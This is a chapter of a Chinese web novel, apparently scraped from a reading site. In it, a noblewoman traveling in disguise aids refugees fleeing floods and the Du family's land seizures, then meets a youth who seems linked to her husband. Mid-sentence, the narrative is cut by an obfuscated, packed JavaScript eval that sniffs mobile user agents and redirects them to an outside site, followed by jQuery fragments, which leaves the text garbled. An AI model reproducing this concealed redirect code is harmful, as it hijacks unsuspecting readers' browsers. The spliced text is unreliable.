73. 重逢

作品:《重生后他们都火葬场

    外头下起了细细密密的雨。


    沈秋辞撑伞缓步下了马车,裙摆扫入泥地,她却并未在意,只抬眸望向那小孩的方向。那孩子似是被惊着了,往后退了几步,瘦小的身子微微一缩。


    她停在原地,没有再靠近,而是伸出手来。那只手白皙修长,掌中拎着几袋干粮,皆是车上为途中所备,眼见目的地将至,尚余不少,她便顺手带了些下来。


    小孩睁着眼望着她,神情怯怯。他身旁蹲着一个缩着身子的女人,连头也不曾抬起,只呆呆坐着,仿佛连直视旁人的勇气都无。


    沈秋辞将干粮放在地上,那小孩立刻跑了过来,弯腰拾起。


    她又看了女人一眼,便转身回车,取出一件青色罩衫。这件衣衫布料上乘,做工亦极为细致,不过此次出行匆忙,又要扮作商贾之妇,她并未佩戴太多首饰,衣着也只取暗色素样。


    她执伞走近几步,隔着一段距离,温声唤道:“姑娘,快披上罢。”


    那女人终于抬起了头。


    那是一名极年轻的女子,她动了动唇,似是想说什么,却终究没能出声,只一双眼直直望着沈秋辞。而那小男孩则欢喜地提着干粮袋子,快步跑向她:“娘亲,娘亲,我们有吃的了!”


    孩子声音不小,似乎惊动了周围的流民。几双眼自阴影中探出,望见食物,便不动声色地朝那对母子缓缓围拢,眼神中隐隐露出垂涎之色。


    小男孩却浑然不觉。那女子的眼神中浮起几分警惕,她未接沈秋辞手中的罩衫,而是迅速将干粮从男孩手中夺来,紧紧抱在怀中。


    沈秋辞垂眸不语,只从腰间缓缓摸出一把匕首。


    周围那些靠近的人脚步一顿,像被无形之力震住般,纷纷止步。


    那女子也怔了一下,目光紧盯着那匕首,神色间带着几分惊惶。


    沈秋辞收了伞,雨水顺着发梢滴落,浸湿她的衣角与颈侧。她一手握着那件罩衫,另一手执刀,目光落在那女子身上,语声清冷而平静:


    “姑娘,若想吃这口饭,就得将这刀收下。”


    那女子犹豫了片刻,如一只尚未脱逃的野兽,警惕又迟疑地靠近,终于伸手接过匕首,也顺势将罩衫披在了小男孩身上。


    良久,她低声开口,眼神中浮着一丝不安与感激:“谢夫人。”


    沈秋辞露出了一个笑:“不必言谢。”


    她余光一扫,见赵怀霁仍坐在马车之中,身子未动,目光却顺着窗子望了过来。那女人抱着袋子,早已狼吞虎咽地吃了起来,小男孩则蹲在她身旁,叽叽喳喳地说个不停,一边啃着馍,一边时不时偷偷瞥沈秋辞一眼。


    四周的流民似乎又有异动,隐隐聚拢之势。沈秋辞皱了皱眉,撑起伞,却未即刻离去。她将刀交给那女子,身上已无可防之物,索性便立在一旁,待她们吃饱再走也不迟。


    这时,一个身形壮实的汉子终于壮着胆子,粗声喊道:“妹子,这可不厚道,我们一路而来,怎的你一个人独得了夫人恩赏?”


    说话间,他一边咧着嘴笑,一边慢慢朝那母子俩逼近。


    沈秋辞抬眼望他,开口问道:“你与她们是一路的?”


    那人舔着脸笑:“是的,夫人。”


    沈秋辞又问:“你们自何处而来?”


    男人立刻答道:“是从吴城。”


    “吴城?”她眉头一挑。


    “可不是!”那人连连点头,语带怨气,“今年开春就发了水,庄稼几乎全没了,那杜家的人仗着田多地广,大肆屯田抢收,我们这些庄户人家,哪里抢得过他们?到头来连口粮都没留下!”


    沈秋辞眉头微蹙:“他们强买你们的田?”


    杜徽素来家底丰厚,如今竟如此不择手段,看样子江南境内的局势,已糜烂至此。北地战事未平,若杜徽再借粮为势,朝中却无人问责。


    或者说,赵砚行还在等待着给予他致命一击。


    那人见她神色动容,立刻堆起笑来:“夫人心善,俺们这些人日子过得难,求夫人赏点吃食罢了!”


    沈秋辞却道:“我可给你吃的,但你得替我办件事。”


    那汉子闻言一怔,旋即堆起笑来:“夫人尽管吩咐,俺若能使得上力,当尽心尽力!”


    沈秋辞微微一笑,目光转向那仍在埋头吃食的女子:“我给你粮,你须得保她母子安稳,不许旁人再扰。”


    那人连连点头:“这个俺应得住!”


    沈秋辞却未松口,语气仍淡:“我方才问你话,你还未回我。”


    汉子一愣,忙道:“哎哟,夫人,是俺记性不好。那杜家当真是作恶多端,把咱们这些庄稼汉逼得一无所有!官面上的人也不管,咱们连告都没地方去告!”


    沈秋辞摆手唤了随行侍卫,从车中取出一袋干粮递去:“你们打算往哪儿去?”


    汉子双手接过,面露感激:“听说荆楚那边愿意分田给咱们,俺们一行人正往那处走哩。”


    “荆楚?”沈秋辞神色微动,眼中闪过一丝诧异,“这消息你们是从哪儿听来的?”


    那汉子忽然有些迟疑,左右看了一眼,才低声道:“俺也是听杜家的那些家奴讲的。他们仗势欺人,收俺们田的时候随口一说,说是去荆楚另有出路,咱们也就跟着一道走了。”


    见沈秋辞神色不明,他赶忙又补道:“夫人,那妹子她男人早早没了,只带着个孩子孤身一人。咱们一路走来,也算有个照应,您放心,俺一定护着她们。”


    沈秋辞又递给他一袋干粮,语气平和:“你既收了我的东西,便得守信行事。记着,天理昭昭,老天爷是看着的。”


    那汉子连连点头,如捣蒜般应下:“是是,夫人说得对,俺记下了!”


    就在此时,人群中忽然传来一阵骚动。只见一名中等身形的男子猛地冲向那名女子,显然是想夺她怀中仅余的几口干粮。女子警觉极快,立刻握紧手中匕首,身子一侧,将小男孩护在身后。


    那先前还在言辞恳切的壮汉见状,立即大步上前,边跑边高声叫道:“你这王八蛋,竟敢欺负人家孤女寡母!”


    他步伐不慢,可那袭击之人却已冲至女子面前。


    女子手中紧握着刀,似是迟疑了一瞬,下一刻却猛然出手,刀锋直刺而出——


    周围众人皆是一惊,顷刻寂静无声。


    而那壮实汉子亦及时扑上,死死按住那欲行抢夺之人。


    沈秋辞抿了抿唇,望向那壮汉,出声提醒:“大哥,你记着你方才的话。”


    壮汉连连点头,忙应:“记着了,记着了!”


    就在此时,一道含笑的声音自她身后悠悠传来:“夫人这般心善,竟不晓得‘怀璧其罪’的道理?”


    一道带笑的声音从身后传来。


    沈秋辞回身看去,便见一名着宝蓝锦袍的少年正骑马立在不远处,对她笑得风姿翩然。那双桃花眼微扬,身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558577|163419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姿挺拔,腰间束着精致的锦带,其上右边配着刀,左侧则悬着一枚香囊。


    本应是贵气逼人的打扮,偏偏那少年眉目间却带着几分亲切之意,叫人不由心生几分错觉。


    沈秋辞凝望片刻,忽觉这人颇为眼熟。


    这份熟悉,不止一次在过往浮现,数次擦肩皆似偶遇,却又似宿命铺陈。


    她不知为何,竟脱口而出:“公子既这般聪明,却不知好死不如赖活着的道理?”


    少年笑了,眼神里似乎发着光:“夫人怎么称呼?”


    沈秋辞道:“外人姓赵,公子便唤我赵夫人即可。”


    少年忽而偏头望向马车,正逢赵怀霁隔着窗子,温声唤道:“夫人,莫着了凉,快些上来罢。”


    沈秋辞回眸看了眼那妇人怀中所余不多的干粮,方才撑起伞,朝马车缓步走去。


    “赵夫人——”


    少年那一声轻唤,拖得极长,语调百转千回,黏黏糊糊,似是故意缠在耳畔不散。那“赵”字低得近乎无声,偏偏“夫人”二字却念得极响,听来竟似是在唤他自己的夫人。


    沈秋辞步子一顿,忽而轻轻叹了口气,缓缓转身,眼中已有几分明悟。


    她不是傻子。


    洞房花烛夜里炽热又熟悉的吻,多次出现的赵怀霁,如今又在这人身上看到那枚熟悉得不能再熟悉的香囊。


    她抬眸,与那双桃花眼对视,一字一句地问道:“你是谁?”


    这话像是在问他,又仿佛不必问他。


    少年笑意愈盛,唇角扬起,带着一丝莫测的灿烂:“赵夫人觉得呢?”


    她凝视他,他却忽地翻身下马,径自解下腰间佩刀,递到了她面前。


    “赵夫人的同伴看起来模样文文弱弱的,再往南走,流民愈多。”那少年眼带戏谑,语气轻挑,话中却藏着不易察觉的锋芒,“防身的刀都给了旁人,夫人可真心不怕?”


    沈秋辞尚未言语,身后忽有脚步声响起,随即是一缕熟悉的香气扑面而来。一件带着温热的外袍披在她肩上,带着细雨的潮意,也带着他身上兰香的气息。


    春雨微寒。她身前立着那少年郎,身后却是贴上来一具温热的身躯,带着熟悉的兰香。赵怀霁温声不语,俯身替她披上外袍,又抬手轻轻拂过她被雨水打湿的鬓发。


    男人语气温和:“夫人,莫要着凉,快些走罢。”


    沈秋辞点头垂眸,正要转身离去,却又听那少年懒洋洋开口:“赵夫人既不要我的刀,那可莫怪我自作主张,厚着脸皮一路随行了。”


    赵怀霁闻言,眉眼依旧温润,抬眼望他,语声沉静道:“公子看着并非无礼之人。我与拙荆新婚未久,此行是下江南省亲,事关名节,不宜随意搅扰。”


    “夫人心地仁善,原也不该与公子这般来路不明的人多做纠缠。”他说着,一手撑伞,一手轻揽沈秋辞的肩。那动作并不强势,语气也温柔得很,偏偏叫人觉得避无可避、退无可退,“还请公子自重。”


    少年露出了雪白的牙齿,他挑眉,桃花眼里流光溢彩:“脚长在我身上,马也是我的马,公子如何管我?”


    话音一落,他翻身上马,临去前似笑非笑地朝沈秋辞看了一眼,这才策马而去。


    沈秋辞没有多想,跟着赵怀霁上了马车。男人缠着她,似乎是有些不满,但她也不清楚那不满来自何处。


    数人快马加鞭,赶路不过半日,吴城已在眼前。